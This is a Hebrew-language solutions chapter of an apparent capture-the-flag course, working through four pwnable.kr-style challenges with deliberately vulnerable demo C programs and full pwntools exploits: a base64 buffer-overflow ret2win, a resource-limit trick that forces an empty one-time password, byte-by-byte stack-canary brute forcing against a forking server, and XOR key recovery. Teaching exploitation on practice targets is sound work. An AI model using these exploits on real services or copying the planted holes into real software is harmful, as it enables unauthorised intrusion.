8.6 אתגרי לוגיקה פתרון
פתרון - אתגרי לוגיקה¶
כאן נעבור על ארבעת האתגרים עם exploit מלא ורץ לכל אחד. לכל אתגר נבנה קודם בינארי דמו מקומי שמשחזר את הדפוס, נפתור אותו עד הסוף, ואז נסביר איך למפות את הפתרון לאתגר האמיתי. הרעיון: להבין את המנגנון על משהו שאפשר להריץ ולדבג, לפני שנלחמים בסביבה של השרת.
לכל דמו נכין קובץ flag מקומי כדי לראות שהexploit עובד:
פתרון תרגיל 1 - simple login¶
הבינארי לדוגמה¶
הדמו משחזר את הדפוס: קלט שמפוענח מ-base64 ומועתק ב-memcpy לbuffer קטן, עם פונקציית correct שלא נקראת בזרימה הרגילה. מפענח ה-base64 כלול כדי שהכל יהיה עצמאי:
// slogin.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int b64dec(const char* in, unsigned char* out) {
static const char* t =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int val = 0, bits = 0, n = 0;
for (const char* p = in; *p && *p != '\n' && *p != '='; p++) {
const char* q = strchr(t, *p);
if (!q) continue;
val = (val << 6) | (int)(q - t);
bits += 6;
if (bits >= 8) { bits -= 8; out[n++] = (val >> bits) & 0xff; }
}
return n;
}
void correct() {
puts("Login OK. flag:");
system("/bin/cat flag");
exit(0);
}
void auth(unsigned char* dec, int len) {
char buf[16];
memcpy(buf, dec, len); // overflow: len is under our control
printf("checking %s\n", buf);
}
int main() {
char line[512];
unsigned char dec[512];
setvbuf(stdout, 0, _IONBF, 0);
printf("Authenticate : ");
scanf("%500s", line);
int len = b64dec(line, dec);
auth(dec, len);
puts("Wrong Password");
return 0;
}
מקמפלים 32 ביט, בלי canary ובלי PIE, ובודקים הגנות:
gcc -m32 -fno-stack-protector -no-pie -o slogin slogin.c
checksec --file=./slogin
# STACK CANARY: No canary | NX: enabled | PIE: No PIE
מציאת ה-offset והכתובת¶
את הכתובת של correct נשלוף ישירות מ-pwntools עם elf.symbols['correct']. את ה-offset עד הreturn address נמדוד עם cyclic. מכיוון שהתוכנית מפענחת מ-base64, אנחנו מקודדים דפוס מחזורי, שולחים, ובודקים ב-gdb על איזה ערך auth מנסה לחזור:
python3 -c "import base64,sys; from pwn import cyclic; sys.stdout.buffer.write(base64.b64encode(cyclic(64)))"
# feed the output to the program under gdb, and check the value that overwrote the return address with cyclic_find
עבור buf[16] ו-saved ebp של 4 בתים, ה-offset יוצא 20. תמיד אמתו בעצמכם - קומפיילר שונה עלול ליישר אחרת.
הexploit המלא¶
#!/usr/bin/env python3
from pwn import *
import base64
context.binary = elf = ELF('./slogin')
correct = elf.symbols['correct']
offset = 20 # verify with cyclic
payload = b'A' * offset + p32(correct) # overwrites the return address
blob = base64.b64encode(payload) # encode, because the program decodes
p = process('./slogin')
p.recvuntil(b'Authenticate : ')
p.sendline(blob)
p.interactive()
פלט צפוי:
הזרימה: ה-memcpy העתיק 24 בתים לתוך buf[16], גלש מעל saved ebp ודרס את הreturn address בכתובת של correct. כש-auth ביצעה ret, ההרצה נותבה ל-correct שהדפיסה את הדגל.
מיפוי לאתגר האמיתי¶
מתחברים ל-ssh simple_login@pwnable.kr -p2222, קוראים את המקור, ומזהים את שלושת הפרטים: (1) גודל הbuffer ומיקומו, כדי לחשב את ה-offset עד הreturn address; (2) הכתובת של פונקציית ההצלחה, עם nm/objdump -d/elf.symbols; (3) העובדה שהקלט מפוענח מ-base64. אז בונים base64(b'A'*offset + p32(correct_addr)) ושולחים. אם ה-offset או הכתובת שונים בגרסה שלכם, רק המספרים משתנים - הטכניקה זהה.
למה זה עבד: memcpy מעתיק בתים גולמיים לפי אורך שנשלט על ידינו, בלי בדיקת גבולות ובלי לעצור על null. בינארי 32 ביט לא-PIE ובלי canary הופך את זה ל-ret2win פשוט דרך שכבת base64. איך להכליל: כל פעם שקלט מפוענח או מועתק לbuffer באורך שאתם קובעים, שאלו עד לאן הוא מגיע ומה יש שם. אם אין canary ואין PIE - הreturn address שלכם.
פתרון תרגיל 2 - otp¶
הבינארי לדוגמה¶
הדמו משחזר את הזרימה של otp: ערך אקראי נכתב לקובץ, נקרא בחזרה ל-passcode, ומושווה לארגומנט:
// otpdemo.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
int main(int argc, char* argv[]) {
if (argc != 2) { printf("usage : %s [passcode]\n", argv[0]); return 0; }
unsigned long otp[2];
int fd = open("/dev/urandom", O_RDONLY);
if (read(fd, otp, 16) != 16) exit(-1);
close(fd);
char fname[128];
sprintf(fname, "/tmp/otpdemo_%d", (int)otp[0]);
FILE* fp = fopen(fname, "w");
if (!fp) exit(-1);
fwrite(otp, 8, 1, fp); // writes the secret to the file
fclose(fp);
unsigned long passcode = 0; // initialize to 0
FILE* fp2 = fopen(fname, "r");
if (!fp2) exit(-1);
fread(&passcode, 8, 1, fp2); // reads it back
fclose(fp2);
if (strtoul(argv[1], 0, 16) == passcode) {
puts("Congratz!");
system("/bin/cat flag");
} else {
puts("OTP mismatch");
}
unlink(fname);
return 0;
}
הפתרון - הכשלת הכתיבה¶
ההנחה השגויה: שכתיבת הקובץ תמיד תצליח. אנחנו נשבור אותה עם RLIMIT_FSIZE=0, ונדאג ש-SIGXFSZ יתעלם במקום להרוג את התהליך. שתי ההגדרות עוברות בירושה דרך execve, אז עטיפה קטנה מספיקה:
#!/usr/bin/env python3
# solve_otp.py
import os, resource, signal
signal.signal(signal.SIGXFSZ, signal.SIG_IGN) # fail the write, don't die
resource.setrlimit(resource.RLIMIT_FSIZE, (0, 0)) # not allowed to write a single byte
os.execv('./otpdemo', ['./otpdemo', '0']) # passcode will remain 0
מריצים:
מה קרה מאחורי הקלעים: ה-fwrite נכנס לbuffer של stdio בזיכרון בלי לגעת בkernel עדיין. ב-fclose, ה-flush מנסה write של 8 בתים לקובץ. מכיוון שהמגבלה היא 0 בתים, ה-write חורג ממנה. בדרך כלל זה היה שולח SIGXFSZ שהורג את התהליך, אבל הגדרנו התעלמות, אז ה-write פשוט מחזיר שגיאה (EFBIG) והקובץ נשאר ריק. ה-fread שאחריו קורא 0 בתים, passcode נשאר 0, וההשוואה strtoul("0",...) == 0 מצליחה.
אם רוצים בלי pwntools ובלי פייתון, אותו רעיון ב-C טהור:
// wrap.c : gcc -o wrap wrap.c ; ./wrap
#include <signal.h>
#include <sys/resource.h>
#include <unistd.h>
int main() {
signal(SIGXFSZ, SIG_IGN);
struct rlimit r = {0, 0};
setrlimit(RLIMIT_FSIZE, &r);
execl("./otpdemo", "otpdemo", "0", (char*)0);
return 1;
}
מיפוי לאתגר האמיתי¶
בדיוק אותה עטיפה, רק מחליפים את הנתיב ל-/home/otp/otp:
import os, resource, signal
signal.signal(signal.SIGXFSZ, signal.SIG_IGN)
resource.setrlimit(resource.RLIMIT_FSIZE, (0, 0))
os.execv('/home/otp/otp', ['otp', '0'])
למה זה עבד: passcode תלוי לגמרי בהצלחת מסלול הכתיבה-קריאה של הקובץ. הכשלנו את הכתיבה מבחוץ, בלי לגעת בבינארי, וניצלנו את ערך האתחול 0. איך להכליל: כשתוכנית מסתמכת על קובץ, על משתנה סביבה או על משאב חיצוני, שאלו מה קורה כשהמשאב נכשל או ריק. ערכי אתחול (0, מחרוזת ריקה, NULL) הם לעיתים קרובות המפתח. מגבלות משאב (ulimit) ואותות הן כלים לגיטימיים לשלוט בהתנהגות תהליך מבחוץ.
פתרון תרגיל 3 - md5 calculator¶
זה הפתרון הגדול, כי כאן יש גם overflow וגם canary. נבנה שירות מזלג (fork) עם canary, ננחש את הcanary בית-בית, ואז נגלוש אל פונקציית ההצלחה.
הבינארי לדוגמה¶
השירות מאזין על פורט, ולכל חיבור עושה fork. פיצ'ר החישוב מפענח base64 לתוך buffer של 64 בתים - וזו הoverflow. מכיוון שהcanary נקבע פעם אחת בעליית התהליך ונשמר ב-TLS, כל הבנים שנוצרים ב-fork חולקים אותו canary, וזה מה שמאפשר לנחש אותו:
// md5demo.c
// gcc -fstack-protector-all -no-pie -o md5demo md5demo.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <arpa/inet.h>
char line[4096]; // global, so the local buffer decoded sits right next to the canary
int b64dec(const char* in, unsigned char* out) {
static const char* t =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int val = 0, bits = 0, n = 0;
for (const char* p = in; *p && *p != '\n' && *p != '='; p++) {
const char* q = strchr(t, *p);
if (!q) continue;
val = (val << 6) | (int)(q - t);
bits += 6;
if (bits >= 8) { bits -= 8; out[n++] = (val >> bits) & 0xff; }
}
return n;
}
void give_flag() {
puts("flag:");
system("/bin/cat flag 2>/dev/null || echo FLAG{md5_demo_pwned}");
fflush(stdout);
_exit(0);
}
void process() {
unsigned char decoded[64]; // small buffer -> target of the overflow
printf("give base64: ");
fflush(stdout);
int n = read(0, line, sizeof(line) - 1);
if (n <= 0) return;
line[n] = 0;
int len = b64dec(line, decoded); // overflow if the decoded data is longer than 64
printf("hashed %d bytes\n", len);
fflush(stdout);
}
int main() {
signal(SIGCHLD, SIG_IGN);
int s = socket(AF_INET, SOCK_STREAM, 0);
int one = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
struct sockaddr_in a = {0};
a.sin_family = AF_INET;
a.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
a.sin_port = htons(9999);
bind(s, (void*)&a, sizeof(a));
listen(s, 16);
for (;;) {
int c = accept(s, 0, 0);
if (fork() == 0) {
dup2(c, 0); dup2(c, 1); dup2(c, 2); // stderr too, to the socket, to see "smashing"
close(s);
process();
_exit(0);
}
close(c);
}
}
מקמפלים ומריצים את השרת ברקע:
gcc -fstack-protector-all -no-pie -o md5demo md5demo.c
checksec --file=./md5demo
# STACK CANARY: Canary found | NX: enabled | PIE: No PIE
./md5demo &
מציאת ה-offset¶
את המרחק מתחילת decoded עד הcanary מודדים עם cyclic ו-gdb/pwndbg: שולחים דפוס מחזורי מקודד ב-base64, רואים איזה ערך דרס את הcanary (או מסתכלים על ההיסט של __stack_chk_fail), ומחשבים. עבור הbuffer הזה ה-offset יוצא לרוב 72 (64 בתים buffer + alignment). אמתו אצלכם:
from pwn import *
# locally with gdb: find where the canary got overwritten
print(cyclic_find(0x6161616b)) # example - the value you saw in __stack_chk_fail
הexploit המלא - ניחוש canary ואז overflow¶
#!/usr/bin/env python3
from pwn import *
import base64
context.arch = 'amd64'
elf = ELF('./md5demo')
give_flag = elf.symbols['give_flag']
HOST, PORT = '127.0.0.1', 9999
OFFSET = 72 # measure with cyclic
def hit(raw):
p = remote(HOST, PORT)
p.recvuntil(b'give base64: ')
p.send(base64.b64encode(raw) + b'\n')
data = p.recvall(timeout=1)
p.close()
return data
# step 1 - guess the canary byte by byte. The low byte of a canary in 64-bit is always 0x00
canary = b'\x00'
while len(canary) < 8:
for g in range(256):
raw = b'A' * OFFSET + canary + bytes([g])
out = hit(raw)
if b'smashing' not in out: # didn't crash -> the byte we guessed is correct
canary += bytes([g])
log.info('canary so far: ' + canary.hex())
break
log.success('canary = ' + canary.hex())
# step 2 - full overflow: padding + correct canary + saved rbp + give_flag address
raw = b'A' * OFFSET + canary + b'B' * 8 + p64(give_flag)
print(hit(raw).decode(errors='replace'))
הרעיון של הניחוש: אנחנו דורסים רק את הבתים של הcanary שכבר ניחשנו, ועוד בית ניחוש אחד. את שאר בתי הcanary, את saved rbp ואת הreturn address אנחנו לא נוגעים - הם נשארים תקינים. לכן אם הבית שניחשנו נכון, הcanary כולו תקין והפונקציה חוזרת רגיל (נראה hashed N bytes). אם הבית שגוי, __stack_chk_fail צועק stack smashing detected והבן מת. הבדיקה b'smashing' not in out היא בדיוק ההבחנה בין השניים. ככה שוברים canary של 8 בתים ב-2048 ניסיונות לכל היותר, במקום 2^64.
אחרי שיש canary, שלב 2 הוא overflow רגילה: padding עד הcanary, הcanary הנכון במקומו, 8 בתים דמה ל-saved rbp, וכתובת give_flag כreturn address. הבן חוזר ל-give_flag ומדפיס את הדגל לתוך הסוקט.
וריאציה - כשיש leak במקום fork¶
אם האתגר לא מזלג אלא מדליף זיכרון (למשל מדפיס את הbuffer בלי null בסוף), עדיף לleak את הcanary בבת אחת במקום לנחש:
# fill exactly up to before the canary, without overwriting it, and trigger a print
raw = b'A' * OFFSET
p.send(base64.b64encode(raw) + b'\n')
leak = p.recvuntil(...) # depends on the print format
# the canary is the 8 bytes after the padding; its first byte is 0x00
canary = b'\x00' + leak[start:start+7]
canary = u64(canary)
הרעיון זהה - להשיג את הcanary - רק שהדרך שונה לפי מבנה האתגר.
מיפוי לאתגר האמיתי¶
מתחברים ל-ssh md5calculator@pwnable.kr -p2222, מריצים checksec (יש canary), קוראים את המקור, ומזהים את הbuffer שאליו מפענחים. אם השירות מזלג - ננחש את הcanary; אם הוא מדליף - נדלוף אותו. אחרי שיש canary, בונים base64(padding + canary + saved_rbp + כתובת_יעד). הכתובת יעד היא פונקציית ההצלחה של האתגר, או system("/bin/sh") דרך גאדג'ט אם צריך.
למה זה עבד: הcanary מגן רק כל עוד אנחנו לא יודעים את ערכו. fork שומר canary קבוע ומאפשר ניחוש בית-בית; leak נותנת אותו ישירות. ברגע שיש canary, overflow עם canary היא בדיוק כמו overflow בלי canary. איך להכליל: checksec ראשון. אם יש canary, השאלה הראשונה היא "איך אני משיג אותו" - fork (ניחוש) או leak. אין דרך שלישית קסומה; אם אין אף אחת מהשתיים, מחפשים פרימיטיב אחר (כתיבה שרירותית, למשל).
פתרון תרגיל 4 - blukat¶
הבינארי לדוגמה¶
הדמו קורא סיסמה מקובץ, ואם הקלט תואם - מפענח את הדגל ב-XOR עם מפתח שמוטמע בבינארי:
// blukatdemo.c : gcc -no-pie -o blukatdemo blukatdemo.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char key[16] = "\x11\x22\x33\x44\x55\x66\x77\x88"
"\x99\xaa\xbb\xcc\xdd\xee\x0f\x10";
unsigned char enc_flag[16] = {
0x57,0x6e,0x72,0x03,0x2e,0x1e,0x18,0xfa,
0xc6,0xce,0xde,0xbe,0xb4,0x98,0x6a,0x6d
};
void print_flag() {
for (int i = 0; i < 16; i++) putchar(enc_flag[i] ^ key[i % 16]);
putchar('\n');
}
int main() {
char password[100];
FILE* fp = fopen("password", "r");
if (!fp) { puts("read error"); return 0; }
fgets(password, sizeof(password), fp);
char buf[100];
printf("guess the password!\n");
if (!fgets(buf, sizeof(buf), stdin)) return 0;
if (strcmp(password, buf) == 0) {
printf("Congratulation! flag: ");
print_flag();
} else {
printf("Wrong Password!\n");
}
return 0;
}
מכינים סביבה: קובץ סיסמה בלי newline בסוף, כדי לשלוט בדיוק בהשוואה:
דרך א - קריאת הקובץ הישירה¶
כשקובץ הסיסמה קריא לנו, פשוט קוראים אותו ומזינים אותו. הדקות היחידה היא ה-newline: fgets שומר את ה-newline אם הוא קיים בקובץ. כאן הכנו קובץ בלי newline, אז נשלח בלי newline. הכלי xxd מראה בדיוק מה יש בקובץ:
xxd password
# 00000000: 7333 6372 3374 5f70 77 s3cr3t_pw
printf 's3cr3t_pw' | ./blukatdemo
# guess the password!
# Congratulation! flag: FLAG{xor_derive}
אם הקובץ כן היה מסתיים ב-newline, היינו צריכים לשלוח s3cr3t_pw\n כדי שה-strcmp יתאים. תמיד תבדקו עם xxd את הבתים המדויקים ותשקפו אותם אחד-לאחד.
דרך ב - גזירת XOR בלי לעבור את הבדיקה¶
זה החלק היפה. המפתח והטקסט המוצפן שניהם בתוך הבינארי, ו-XOR הפיך - אז אפשר לחלץ את הדגל בלי לקרוא את קובץ הסיסמה ובלי לעבור את ה-strcmp בכלל. מוצאים את הבתים במקטע הנתונים עם objdump:
מזהים את שני המערכים: key (16 בתים) ו-enc_flag (16 בתים). ואז XOR פשוט בפייתון:
#!/usr/bin/env python3
key = bytes([0x11,0x22,0x33,0x44,0x55,0x66,0x77,0x88,
0x99,0xaa,0xbb,0xcc,0xdd,0xee,0x0f,0x10])
enc = bytes.fromhex('576e72032e1e18fac6cedebeb4986a6d')
flag = bytes(enc[i] ^ key[i % 16] for i in range(len(enc)))
print(flag.decode()) # FLAG{xor_derive}
קיבלנו את הדגל ישירות מהבתים של הבינארי, בלי להריץ אותו בכלל. זה בדיוק המובן של "המידע נחשף בגלוי".
מיפוי לאתגר האמיתי¶
מתחברים ל-ssh blukat@pwnable.kr -p2222, מריצים ls -l על קובץ הסיסמה, ובודקים אם אפשר לקרוא אותו. אם כן - cat אותו (שימו לב ל-newline עם xxd) והזינו. אם לא - strings ./blukat ו-objdump -s -j .data ./blukat כדי למצוא את המפתח ואת הטקסט המוצפן, ו-XOR בפייתון. לרוב אחת משתי הדרכים תעבוד.
למה זה עבד: המידע שהיינו צריכים לא היה באמת מוגן - קובץ קריא, או מפתח וטקסט מוצפן שמוטמעים בבינארי בגלוי. איך להכליל: לפני exploit מתוחכם, שאלו את השאלה הזולה - האם מה שאני צריך בכלל מוסתר כמו שצריך? הרשאות קבצים, מפתחות מוטמעים, וערכים מקודדים ב-XOR הם "חולשות" קלות שכדאי לבדוק ראשונות. XOR עם מפתח קבוע הוא לא הצפנה, הוא קידוד - וקידוד תמיד הפיך.
פתרון תרגיל 5 - סיכום הדפוסים¶
הנה הטבלה שהתבקשתם למלא, כתשובה מלאה:
+-------------------+--------------------------------+------------------------------+
| challenge | the wrong assumption | the technique |
+-------------------+--------------------------------+------------------------------+
| simple login | the decoded input isn't too long | memcpy overflow -> ret2win |
| otp | writing the file always succeeds | RLIMIT_FSIZE + SIG_IGN, arg=0 |
| md5 calculator | base64 won't overflow past 64 bytes | canary guess/leak -> overflow |
| blukat | nobody will see the password/key | reading the file or deriving XOR |
+-------------------+--------------------------------+------------------------------+
הדפוס המשותף: בכל אתגר יש נקודה אחת שבה המתכנת סמך על משהו - אורך, קובץ, הגנה, סודיות - שאנחנו יכולים לשבור. חוקר טוב מזהה את נקודת ההישענות הזו לפני שהוא כותב שורת קוד אחת. checksec ראשון, קריאת המקור שני, וזיהוי ההנחה שלישי. משם, הexploit הוא רק יישום של הטכניקה המתאימה.